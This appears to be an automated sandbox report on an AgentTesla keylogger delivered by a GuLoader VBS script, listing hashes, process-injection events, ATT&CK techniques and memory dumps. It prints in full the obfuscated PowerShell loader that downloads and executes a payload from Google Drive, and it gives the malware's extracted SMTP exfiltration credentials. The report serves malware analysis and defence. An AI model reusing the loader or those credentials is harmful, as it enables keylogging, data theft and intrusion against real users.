agenttesla | e92b029414d118847e5b55487c98b5ea55d22b8cccf1c0836b1dfdedbdb33dbe

General

Target

e92b029414d118847e5b55487c98b5ea55d22b8cccf1c0836b1dfdedbdb33dbe.vbs
Size

38KB
MD5

085fd178456799ca4535896787a4ded6
SHA1

f5002bd232f176afb4df73f011c5ea8370ba28f3
SHA256

e92b029414d118847e5b55487c98b5ea55d22b8cccf1c0836b1dfdedbdb33dbe
SHA512

4eb379426d9c9c99079213bcb4dcc61ac5fec067c7356e50827aa710fbc65d0e99d957c1b1c15667983a2d08981ec35b018db96b6eac0842596804067dc8037d
SSDEEP

384:u0sgBufUIWz0AujGKoCJmMuttrW6ku83V3aiHwAVX34AEEZo93/uvCtY7b/weM7R:u0sgBuVWAZGc8NnKwiQuCAvCK7bw1

Score

10^/10

agenttesla guloader downloader keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
mail.ispartamensucat.com.tr
Port:
587
Username:
[email protected]
Password:
Qaz!'2020,

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.ispartamensucat.com.tr
Port:
587
Username:
[email protected]
Password:
Qaz!'2020,
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

5 drive.google.com
11 drive.google.com
4 drive.google.com
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

17 api.ipify.org
18 api.ipify.org
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

1908 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2548 powershell.exe
1908 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2548 set thread context of 1908 2548 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exewab.exe

pid process

2944 powershell.exe
2548 powershell.exe
2548 powershell.exe
1908 wab.exe
1908 wab.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2548 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 2944 powershell.exe
Token: SeDebugPrivilege 2548 powershell.exe
Token: SeDebugPrivilege 1908 wab.exe

flow	ioc
5	drive.google.com
11	drive.google.com
4	drive.google.com

flow	ioc
17	api.ipify.org
18	api.ipify.org

pid	process
1908	wab.exe

pid	process
2548	powershell.exe
1908	wab.exe

description	pid	process	target process
PID 2548 set thread context of 1908	2548	powershell.exe	wab.exe

pid	process
2944	powershell.exe
2548	powershell.exe
2548	powershell.exe
1908	wab.exe
1908	wab.exe

pid	process
2548	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2944	powershell.exe
Token: SeDebugPrivilege	2548	powershell.exe
Token: SeDebugPrivilege	1908	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2280 wrote to memory of 2944	2280	WScript.exe	powershell.exe
PID 2280 wrote to memory of 2944	2280	WScript.exe	powershell.exe
PID 2280 wrote to memory of 2944	2280	WScript.exe	powershell.exe
PID 2944 wrote to memory of 3056	2944	powershell.exe	cmd.exe
PID 2944 wrote to memory of 3056	2944	powershell.exe	cmd.exe
PID 2944 wrote to memory of 3056	2944	powershell.exe	cmd.exe
PID 2944 wrote to memory of 2548	2944	powershell.exe	powershell.exe
PID 2944 wrote to memory of 2548	2944	powershell.exe	powershell.exe
PID 2944 wrote to memory of 2548	2944	powershell.exe	powershell.exe
PID 2944 wrote to memory of 2548	2944	powershell.exe	powershell.exe
PID 2548 wrote to memory of 2552	2548	powershell.exe	cmd.exe
PID 2548 wrote to memory of 2552	2548	powershell.exe	cmd.exe
PID 2548 wrote to memory of 2552	2548	powershell.exe	cmd.exe
PID 2548 wrote to memory of 2552	2548	powershell.exe	cmd.exe
PID 2548 wrote to memory of 1908	2548	powershell.exe	wab.exe
PID 2548 wrote to memory of 1908	2548	powershell.exe	wab.exe
PID 2548 wrote to memory of 1908	2548	powershell.exe	wab.exe
PID 2548 wrote to memory of 1908	2548	powershell.exe	wab.exe
PID 2548 wrote to memory of 1908	2548	powershell.exe	wab.exe
PID 2548 wrote to memory of 1908	2548	powershell.exe	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e92b029414d118847e5b55487c98b5ea55d22b8cccf1c0836b1dfdedbdb33dbe.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2280

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Kontrahenterne Icebound Diabaserne Tekstdirektorie Godstogs Forstemmelses Generobringsplaner #>;$Gultonet=(cmd /c set /A 115^^0);Function Hest ([String]$Drejningsaksen){$Fedthasennwit=[char][int]$Gultonet+'ubstring';$Broadness=8;$Bldgjort=Appair($Drejningsaksen);For($Fedthasen=7; $Fedthasen -lt $Bldgjort; $Fedthasen+=$Broadness){$Oxydens164=$Drejningsaksen.$Fedthasennwit.Invoke($Fedthasen, 1);$Padroadist=$Padroadist+$Oxydens164;}$Padroadist;}function Eroderinger ($Varmebehandleres219){. ($Husbandable) ($Varmebehandleres219);}function Appair ([String]$Neutrino){$Biotopes=$Neutrino.Length-1;$Biotopes;}$Pelsdyrenes=Hest 'KlokkefTHeraus,rKoldtvaaoverensn M ltyesAasenssfCondyloeRedressrSkoggerrAn,iaaaiUnpartanSandfisgcolluvi ';$Vedhngte97=Hest 'Furf,rohDesillutMacernetIdentitpudkry,ts Djrver: overbo/Multipl/Kommuned Und rgrarguingiStumblyvTendense S.jrsk.FleeringVerdensoIndsatsoUdflyttg Tnderkl .onspieMilita,.Reu.dulc NonvoloKonvolumRemotio/M.llibauDoli gbcInf,rma?MorgenfeGowningxnonresip.nstaltoHatchwarWoodloutFielded=s.itchwdApo,alyoKryptogwBrigadenFor tvnlVisionio andblaUndefindJapaner&Strejkeidiare.ndIm.eria= Fea,ed1Sca celpTenzoneY,redstr1HuldrerTakantusJQuissur6SurmuleVEksporti,pithalU RrfabrZEneuhelj Un.onoWTransmiLHjtalenx.egaltypdispariEUpplougTTrich n7DehydreP S,rvanQGennemposcatterDStilfilIUnad us6E,ilobizFamiliam arietogsocialbuKom,unioArgumendb ttomeO H veds-Antiwed ';$Husbandable=Hest 'HusholdiB,ldheaeUninaugx Ki lin ';$Maskinstormer=Hest 'Add edn$NewfoungJapanizlMedlemsoSygehusbDykke fasharn alNaurop :StubworbProb.eme BreathdCarajakrProli iaProtistgSel.pene CultisrThreepiiScenarisSaddelgkSuburba afpasse= Nordit U.orholS falcattL,neociaVermutsrkropduetComputa-StrandlBAntilabiRevanchtOutmanesKultursTNonana.rPrewo,na Sylli.nSterpaasCyk.lryfDde,ighefabrikarGr.ssor Telefon-UdhalerSUnd,rtroeksempeu DataberAmor.lmcBrek,ave Airbus proficu$shermieVUgladeseairbil.dBraknsehStatsranCurva,tg KreprvtStorimpeI.dfyre9Handels7 Deprog Blowtor-NationaDMoselove .alvans Prin etOsteo.ei yrrekonTourista Underpt reststiKvalme,opneumonnsl,ergl Ombude$GldssanS,nterastFingerrrOve.seceBeklagen SmrendgNonl.ritLo.fstehRaspe.hyJamadar ';Eroderinger (Hest 'Sindsli$AkutbehgVablehelBrugerdoFragm,nbBegivenaMedg,arlParall :AnskuelSPonderotMisitemrMysti,ieAntifedn Bepur,gFunktiot SeverahLsernesyGitbilt=Bemrked$ In umbezoogamon JargonvCertior:AdresseaSteffanpSpurgewpEftersldPastllea aris,atS,dstliaKldeb.n ') ;Eroderinger (Hest 'Ce.teniIJubbahsmPodostopUstruktoNodeblarOverbbot Konsis-DockizaMKoteletoSkattemdMaksimeuMedaljel Krebseespe tru Magte.lBTastefeiCountertQuidditsS milisT KemigrrTripp,nafidgetinwoodag,sSeminorfGypsopheReallotrStillel ') ;$Strengthy=$Strengthy+'\Rkebiskoppen.Ret' ;Eroderinger (Hest 'Tegning$KoalitigTalbloklSkrif.mo Psychib TrefolaSubsereludrej.e:OmdanfoRDobbeltoZonekrnaL vistirBuldredeMisbegorRoekampsBindeba=Samfund(Calori TFar,etaeSal gprsDokimast Destru-Sne,yddPAmbr,esaUrucummtOprejsnhIslndin Fl skel$ ,evindSFlu,ridtKrftsvurUnlen eeun.veran SheephgAdv syat Velindh MorigeySkkevdd)Fyresch ') ;while (-not $Roarers) {Eroderinger (Hest ' GunarcINo,realfYaupo.s Fork.ar(Zooma.t$FlagdagbToneomre Blikvad Da radrOpmaaltaPseudomgGalionseSaldoslrInducibi Byst,ts Avi,atkMonofto.Stter hJHe atobo Begu,sbPrimaquSfretfultGenera a EnthrotBegrundeWigwa,e Ferskv- ,elvsyePostkorqUnfrigh Opgavet$SpringvP Tympa,e.rsservlDigigunstolvteddProphesyIndkli r,steopleTergivenFalmermeVa,vulosReeking)Aniseed Hexamer{Hov,dkaS VognmatFlagrdeaTendoverPunchyrtRent bl-VitaminS Bleg.elNummulieUlempeveKlasse,pNugumiu Farcern1drillep}Staklere TerminlKro,chksTotalsaeSnothva{PhytaseSPir erltcupellea ConchorBlaavantDrossyn-FilterkS .emurilCooperaeUngpigeebraddedpRegiste Huckste1Sporvog;NvningeEInadmisrAmericaoKonnek,ddissimieDecoys.rD,sheenio,hthalnValdrapgHypercreCal,inirTaa.ekv Frycivi$pr.vataM Pse doaunculars Trykkek Boomiei Tone enStttefasNavetsjtButyldioAwsharfrSegnedem Wienske alvaarrUndeala}mell,ma ');Eroderinger (Hest ' Normal$SolingegBa,keeplSex arioPoconopbrabarbea.iksepilRotatio:K.ntaktRTikk,tsoSlasheraGelsemirPhysi.le F otforFuriernsFunderi=Aragoni(bouillaTP,gaforeDesacrasopposittScudler-SamtalePVarm,kaaKoket.et FordelhCu.iali Tetrico$ArveonkSF.rldretRevokserOplsnineLdreininCoenostgDeputertextendehForveksyMilligr)Cya hyd ') ;}Eroderinger (Hest 'Kaal.ov$arbejdsg HomecrlRachiodoBoretkubThibetpaH.rdsetl otaqui:Vddema.RSug este UdmatrvCuisineeKoagulwrMislearsAngelsaa Subersl.ndagsu Invilla=Skrmtvi .ddykkGCupr nee Ste nftForgu.e-DesarmeCEmi,ranoRegion nS urdietSidlingeEfterlanGtemaget Lige.t Preval,$Saluti.SKashubitRisesdyrneutralePeriwignItoistggmonembrtFactablhRealkonyForblff ');Eroderinger (Hest 'Provenu$ dagogeg edgownlBowk.rboEnantiobSkraldea GenganlFi urlb: B,eskbRLugtulee Br nzem Hel.isiTwigliksgudebarsSkrivelePastelfrTjenkalsFarvena Observa=Austrop Sit,ere[aramaicSCamelkeyLaunchasUmbracutTaktlsheFort,ngmAphidiu.NationaCTranst,oCommuninmil admvProtodoe BotryorflattertPannapr]Crosswo: Nor ed:EngdragFOmry.ter OktettoZoologemSerpensBSally ea Skattesrigor ueBolomet6Thermes4chinchaSretsudvtAfbrudsrstreng i GiftstnAlleviagRepriev( Baradd$PlumbleR ThemiseSomme,tvEroticie Kulturr gavekos Imm,noaOutrunnl Wolver)Maaleap ');Eroderinger (Hest 'A,omald$Starverg Outda lGuaranaoSyndicabAlph nsaVersicllTiaa.ig:VestligHTilskikj Clark u He idilReprecibMaskinvrJe.ngreeTrav,donUnderpre ivorc Dispon =Dhakfor Alexand[VogtereS Ls,hovyWrastl,sUnwat,ht pekingeStandkvm.lertal. Hu aniTMaoistiePortrayxDe progtSemicot. FiligrE emsemin GuanoscCrabbero prfered GartneiDecimaln .hravegMorsele].jemmef: Ko ese:Hyp.tonAEvasionS.kretveC MurksoIKomme.tIUrechit.ma,rineGSp,ldevegastrodt AnethuSginglyftSubacadrSultan iElektronTotne.dgKamalah(Dd.ands$ElektroRUnweel.eFrgningmPreelimi utfeassSnrestvsMultideePrelatirAdornsasMarati.)Elektro ');Eroderinger (Hest 'fremove$SmaabrngProjektlPlirretoCholoscbModnedeaIntercol Skam o:KommunaM CatchfyGargoyltGhostwrh.yceewao S yttel Genf ro PycnidgC.ngrueuTi,stabeReserve=Nansend$ClongteHKapringjForvansuCymry alBesluttbVrdipaprAnvendpeSpredninOpgav,beCirrose.Azopho sBener,auExpungebLoddedesSkoleemtNi ridirRegnvani BeadlinProtolagIlbudd (Alaki.a3Mok,aen1Asketer0Steg br6 Funkti1Fo.saml3Bepa.se,Skrabem3Testikl1Inter.s3Thermod2Opofrel7Hemothe)Ahornen ');Eroderinger $Mythologue;"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2944

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c set /A 115^^0
3⤵
PID:3056

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Kontrahenterne Icebound Diabaserne Tekstdirektorie Godstogs Forstemmelses Generobringsplaner #>;$Gultonet=(cmd /c set /A 115^^0);Function Hest ([String]$Drejningsaksen){$Fedthasennwit=[char][int]$Gultonet+'ubstring';$Broadness=8;$Bldgjort=Appair($Drejningsaksen);For($Fedthasen=7; $Fedthasen -lt $Bldgjort; $Fedthasen+=$Broadness){$Oxydens164=$Drejningsaksen.$Fedthasennwit.Invoke($Fedthasen, 1);$Padroadist=$Padroadist+$Oxydens164;}$Padroadist;}function Eroderinger ($Varmebehandleres219){. ($Husbandable) ($Varmebehandleres219);}function Appair ([String]$Neutrino){$Biotopes=$Neutrino.Length-1;$Biotopes;}$Pelsdyrenes=Hest 'KlokkefTHeraus,rKoldtvaaoverensn M ltyesAasenssfCondyloeRedressrSkoggerrAn,iaaaiUnpartanSandfisgcolluvi ';$Vedhngte97=Hest 'Furf,rohDesillutMacernetIdentitpudkry,ts Djrver: overbo/Multipl/Kommuned Und rgrarguingiStumblyvTendense S.jrsk.FleeringVerdensoIndsatsoUdflyttg Tnderkl .onspieMilita,.Reu.dulc NonvoloKonvolumRemotio/M.llibauDoli gbcInf,rma?MorgenfeGowningxnonresip.nstaltoHatchwarWoodloutFielded=s.itchwdApo,alyoKryptogwBrigadenFor tvnlVisionio andblaUndefindJapaner&Strejkeidiare.ndIm.eria= Fea,ed1Sca celpTenzoneY,redstr1HuldrerTakantusJQuissur6SurmuleVEksporti,pithalU RrfabrZEneuhelj Un.onoWTransmiLHjtalenx.egaltypdispariEUpplougTTrich n7DehydreP S,rvanQGennemposcatterDStilfilIUnad us6E,ilobizFamiliam arietogsocialbuKom,unioArgumendb ttomeO H veds-Antiwed ';$Husbandable=Hest 'HusholdiB,ldheaeUninaugx Ki lin ';$Maskinstormer=Hest 'Add edn$NewfoungJapanizlMedlemsoSygehusbDykke fasharn alNaurop :StubworbProb.eme BreathdCarajakrProli iaProtistgSel.pene CultisrThreepiiScenarisSaddelgkSuburba afpasse= Nordit U.orholS falcattL,neociaVermutsrkropduetComputa-StrandlBAntilabiRevanchtOutmanesKultursTNonana.rPrewo,na Sylli.nSterpaasCyk.lryfDde,ighefabrikarGr.ssor Telefon-UdhalerSUnd,rtroeksempeu DataberAmor.lmcBrek,ave Airbus proficu$shermieVUgladeseairbil.dBraknsehStatsranCurva,tg KreprvtStorimpeI.dfyre9Handels7 Deprog Blowtor-NationaDMoselove .alvans Prin etOsteo.ei yrrekonTourista Underpt reststiKvalme,opneumonnsl,ergl Ombude$GldssanS,nterastFingerrrOve.seceBeklagen SmrendgNonl.ritLo.fstehRaspe.hyJamadar ';Eroderinger (Hest 'Sindsli$AkutbehgVablehelBrugerdoFragm,nbBegivenaMedg,arlParall :AnskuelSPonderotMisitemrMysti,ieAntifedn Bepur,gFunktiot SeverahLsernesyGitbilt=Bemrked$ In umbezoogamon JargonvCertior:AdresseaSteffanpSpurgewpEftersldPastllea aris,atS,dstliaKldeb.n ') ;Eroderinger (Hest 'Ce.teniIJubbahsmPodostopUstruktoNodeblarOverbbot Konsis-DockizaMKoteletoSkattemdMaksimeuMedaljel Krebseespe tru Magte.lBTastefeiCountertQuidditsS milisT KemigrrTripp,nafidgetinwoodag,sSeminorfGypsopheReallotrStillel ') ;$Strengthy=$Strengthy+'\Rkebiskoppen.Ret' ;Eroderinger (Hest 'Tegning$KoalitigTalbloklSkrif.mo Psychib TrefolaSubsereludrej.e:OmdanfoRDobbeltoZonekrnaL vistirBuldredeMisbegorRoekampsBindeba=Samfund(Calori TFar,etaeSal gprsDokimast Destru-Sne,yddPAmbr,esaUrucummtOprejsnhIslndin Fl skel$ ,evindSFlu,ridtKrftsvurUnlen eeun.veran SheephgAdv syat Velindh MorigeySkkevdd)Fyresch ') ;while (-not $Roarers) {Eroderinger (Hest ' GunarcINo,realfYaupo.s Fork.ar(Zooma.t$FlagdagbToneomre Blikvad Da radrOpmaaltaPseudomgGalionseSaldoslrInducibi Byst,ts Avi,atkMonofto.Stter hJHe atobo Begu,sbPrimaquSfretfultGenera a EnthrotBegrundeWigwa,e Ferskv- ,elvsyePostkorqUnfrigh Opgavet$SpringvP Tympa,e.rsservlDigigunstolvteddProphesyIndkli r,steopleTergivenFalmermeVa,vulosReeking)Aniseed Hexamer{Hov,dkaS VognmatFlagrdeaTendoverPunchyrtRent bl-VitaminS Bleg.elNummulieUlempeveKlasse,pNugumiu Farcern1drillep}Staklere TerminlKro,chksTotalsaeSnothva{PhytaseSPir erltcupellea ConchorBlaavantDrossyn-FilterkS .emurilCooperaeUngpigeebraddedpRegiste Huckste1Sporvog;NvningeEInadmisrAmericaoKonnek,ddissimieDecoys.rD,sheenio,hthalnValdrapgHypercreCal,inirTaa.ekv Frycivi$pr.vataM Pse doaunculars Trykkek Boomiei Tone enStttefasNavetsjtButyldioAwsharfrSegnedem Wienske alvaarrUndeala}mell,ma ');Eroderinger (Hest ' Normal$SolingegBa,keeplSex arioPoconopbrabarbea.iksepilRotatio:K.ntaktRTikk,tsoSlasheraGelsemirPhysi.le F otforFuriernsFunderi=Aragoni(bouillaTP,gaforeDesacrasopposittScudler-SamtalePVarm,kaaKoket.et FordelhCu.iali Tetrico$ArveonkSF.rldretRevokserOplsnineLdreininCoenostgDeputertextendehForveksyMilligr)Cya hyd ') ;}Eroderinger (Hest 'Kaal.ov$arbejdsg HomecrlRachiodoBoretkubThibetpaH.rdsetl otaqui:Vddema.RSug este UdmatrvCuisineeKoagulwrMislearsAngelsaa Subersl.ndagsu Invilla=Skrmtvi .ddykkGCupr nee Ste nftForgu.e-DesarmeCEmi,ranoRegion nS urdietSidlingeEfterlanGtemaget Lige.t Preval,$Saluti.SKashubitRisesdyrneutralePeriwignItoistggmonembrtFactablhRealkonyForblff ');Eroderinger (Hest 'Provenu$ dagogeg edgownlBowk.rboEnantiobSkraldea GenganlFi urlb: B,eskbRLugtulee Br nzem Hel.isiTwigliksgudebarsSkrivelePastelfrTjenkalsFarvena Observa=Austrop Sit,ere[aramaicSCamelkeyLaunchasUmbracutTaktlsheFort,ngmAphidiu.NationaCTranst,oCommuninmil admvProtodoe BotryorflattertPannapr]Crosswo: Nor ed:EngdragFOmry.ter OktettoZoologemSerpensBSally ea Skattesrigor ueBolomet6Thermes4chinchaSretsudvtAfbrudsrstreng i GiftstnAlleviagRepriev( Baradd$PlumbleR ThemiseSomme,tvEroticie Kulturr gavekos Imm,noaOutrunnl Wolver)Maaleap ');Eroderinger (Hest 'A,omald$Starverg Outda lGuaranaoSyndicabAlph nsaVersicllTiaa.ig:VestligHTilskikj Clark u He idilReprecibMaskinvrJe.ngreeTrav,donUnderpre ivorc Dispon =Dhakfor Alexand[VogtereS Ls,hovyWrastl,sUnwat,ht pekingeStandkvm.lertal. Hu aniTMaoistiePortrayxDe progtSemicot. FiligrE emsemin GuanoscCrabbero prfered GartneiDecimaln .hravegMorsele].jemmef: Ko ese:Hyp.tonAEvasionS.kretveC MurksoIKomme.tIUrechit.ma,rineGSp,ldevegastrodt AnethuSginglyftSubacadrSultan iElektronTotne.dgKamalah(Dd.ands$ElektroRUnweel.eFrgningmPreelimi utfeassSnrestvsMultideePrelatirAdornsasMarati.)Elektro ');Eroderinger (Hest 'fremove$SmaabrngProjektlPlirretoCholoscbModnedeaIntercol Skam o:KommunaM CatchfyGargoyltGhostwrh.yceewao S yttel Genf ro PycnidgC.ngrueuTi,stabeReserve=Nansend$ClongteHKapringjForvansuCymry alBesluttbVrdipaprAnvendpeSpredninOpgav,beCirrose.Azopho sBener,auExpungebLoddedesSkoleemtNi ridirRegnvani BeadlinProtolagIlbudd (Alaki.a3Mok,aen1Asketer0Steg br6 Funkti1Fo.saml3Bepa.se,Skrabem3Testikl1Inter.s3Thermod2Opofrel7Hemothe)Ahornen ');Eroderinger $Mythologue;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2548

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c set /A 115^^0
4⤵
PID:2552

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1908

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
74def03a067ea4e634bbaf3404269bb0

SHA1
f688a78470fb37d2c341665dfa8bc7b219ccaa00

SHA256
2a8d57452dc3e25fad2a85f7652dee69d41ff9316b602325eb76823af416b527

SHA512
518d1c9ee7d17b5f963cb5bacbb97080e14aac51fc73e842313dc817598c1cb9f5eaee2b30956eb28acdcd26c968479c10794ed284839d5414239bdf3676d6b2

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab16CB.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IDAC8B6A6AIAIWIMQJWA.temp
Filesize
7KB

MD5
66a7f1f507439ff7b2b80ef84ee3f7c1

SHA1
15b2bcc3b1b4cf47a75163347847f9416600263e

SHA256
1e6fbae5188a70a6c023b5bdc124b1d2743947be54099d9d76b7535d3bb3f8de

SHA512
87692a82541f1d4770093b30860907f1d9a2afe188dc9c29049de54eeed91d714e0a2aafe2c57c4019721fc820cfef8cec60cfecaa926c6a6eb5bec24182f7f1

Download Submit
memory/1908-82-0x00000000216A0000-0x00000000216E0000-memory.dmp

Filesize
256KB

Download
memory/1908-80-0x0000000001C80000-0x000000000357B000-memory.dmp

Filesize
25.0MB

Download
memory/1908-77-0x0000000000C10000-0x0000000000C52000-memory.dmp

Filesize
264KB

Download
memory/1908-78-0x000000006F320000-0x000000006FA0E000-memory.dmp

Filesize
6.9MB

Download
memory/1908-75-0x0000000077AD0000-0x0000000077BA6000-memory.dmp

Filesize
856KB

Download
memory/1908-74-0x0000000000C10000-0x0000000001C72000-memory.dmp

Filesize
16.4MB

Download
memory/1908-46-0x0000000001C80000-0x000000000357B000-memory.dmp

Filesize
25.0MB

Download
memory/1908-85-0x000000006F320000-0x000000006FA0E000-memory.dmp

Filesize
6.9MB

Download
memory/1908-86-0x00000000216A0000-0x00000000216E0000-memory.dmp

Filesize
256KB

Download
memory/1908-51-0x0000000077B06000-0x0000000077B07000-memory.dmp

Filesize
4KB

Download
memory/1908-50-0x0000000077AD0000-0x0000000077BA6000-memory.dmp

Filesize
856KB

Download
memory/1908-49-0x00000000778E0000-0x0000000077A89000-memory.dmp

Filesize
1.7MB

Download
memory/2548-17-0x0000000002660000-0x00000000026A0000-memory.dmp

Filesize
256KB

Download
memory/2548-48-0x00000000063F0000-0x0000000007CEB000-memory.dmp

Filesize
25.0MB

Download
memory/2548-76-0x00000000063F0000-0x0000000007CEB000-memory.dmp

Filesize
25.0MB

Download
memory/2548-16-0x0000000073780000-0x0000000073D2B000-memory.dmp

Filesize
5.7MB

Download
memory/2548-18-0x0000000073780000-0x0000000073D2B000-memory.dmp

Filesize
5.7MB

Download
memory/2548-34-0x0000000002660000-0x00000000026A0000-memory.dmp

Filesize
256KB

Download
memory/2548-35-0x0000000005C80000-0x0000000005D80000-memory.dmp

Filesize
1024KB

Download
memory/2548-36-0x0000000005C20000-0x0000000005C21000-memory.dmp

Filesize
4KB

Download
memory/2548-37-0x00000000063F0000-0x0000000007CEB000-memory.dmp

Filesize
25.0MB

Download
memory/2548-38-0x0000000002660000-0x00000000026A0000-memory.dmp

Filesize
256KB

Download
memory/2548-39-0x00000000063F0000-0x0000000007CEB000-memory.dmp

Filesize
25.0MB

Download
memory/2548-40-0x0000000073780000-0x0000000073D2B000-memory.dmp

Filesize
5.7MB

Download
memory/2548-42-0x0000000073780000-0x0000000073D2B000-memory.dmp

Filesize
5.7MB

Download
memory/2548-43-0x00000000778E0000-0x0000000077A89000-memory.dmp

Filesize
1.7MB

Download
memory/2548-44-0x0000000077AD0000-0x0000000077BA6000-memory.dmp

Filesize
856KB

Download
memory/2548-45-0x0000000005C80000-0x0000000005D80000-memory.dmp

Filesize
1024KB

Download
memory/2548-19-0x0000000002660000-0x00000000026A0000-memory.dmp

Filesize
256KB

Download
memory/2944-31-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2944-12-0x000000001B9D0000-0x000000001B9F2000-memory.dmp

Filesize
136KB

Download
memory/2944-33-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2944-4-0x000000001B110000-0x000000001B3F2000-memory.dmp

Filesize
2.9MB

Download
memory/2944-30-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2944-13-0x00000000026C0000-0x00000000026D2000-memory.dmp

Filesize
72KB

Download
memory/2944-29-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2944-11-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2944-32-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2944-10-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2944-79-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2944-9-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2944-8-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2944-5-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2944-7-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2944-6-0x00000000020C0000-0x00000000020C8000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads